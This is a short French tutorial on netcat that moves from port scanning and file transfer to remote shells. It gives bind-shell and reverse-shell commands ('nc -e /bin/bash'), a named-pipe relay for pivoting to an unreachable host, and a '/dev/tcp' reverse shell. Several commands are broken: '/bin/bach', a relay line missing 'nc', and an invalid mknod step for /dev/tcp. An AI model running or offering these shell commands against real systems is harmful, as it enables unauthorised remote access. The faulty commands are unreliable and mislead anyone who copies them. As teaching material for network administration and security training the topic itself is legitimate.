Netcat, le couteau suisse du TCP/IP

Netcat est un outil en ligne de commande permettant d’écrire et de lire des données dans le réseau. Pour le transfert des données, Netcat utilise les protocoles réseau TCP/IP et UDP. À l’origine, cet outil vient de l’univers Unix mais il est aujourd’hui disponible sur toutes les plateformes.


Les commandes courantes:

Se connecter à un serveur web puis afficher la page:
# nc -v 192.168.1.10 80
# GET / HTTP/1.0

Faire un scan de port:
# nc -v -z 192.168.1.10 80
# nc -v -z 192.168.1.10 80-100

Envoyer et recevoir des fichiers:
Cible : On se met en écoute
# nc -l -p 6666 >reception.file
Source : On initie la connexion
# nc -w 3 192.168.1.10 6666 <file.txt

Lancer un shell distant – de la source à la cible:
Cible : On se met en écoute
# nc -l -p 6666 -e /bin/bash
Source : On initie la connexion
# nc 192.168.1.10 6666

Lancer un shell distant – de la cible à la source:
Source: On se met en écoute
# nc -l -p 6666
Cible : On initie la connexion
# nc 192.168.1.1 6666 -e /bin/bash


Niveau intermédiaire:

Passer par un relais:
Permet de se connecter à une machine non accessible directement.
Cible: On se met en écoute
# nc -l -p 9999 -e /bin/bash
Relais: On crée un periphérique, puis on génère le relais
# mknod backpip p
# nc -l -p 7777 0<backpip | 192.168.1.10 9999 1>backpip

Source: On initie la connexion
# nc 192.168.1.20 7777

Ce connecter à une machine n’ayant pas netcat:
Source: On se met en écoute
# nc -l -p 6666
Cible: On crée un periphérique puis on initie la connexion
# mknod /dev/tcp c 30 36
# /bin/bach -i >/dev/tcp/192.168.1.10/6666 0<&1 2>&1


Ressources supplémentaire:

Cheat Sheet de SANS Institute : https://sansorg.egnyte.com/dl/Rop1b0ElWo
Vidéos en français de Xavki : https://www.youtube.com/@xavki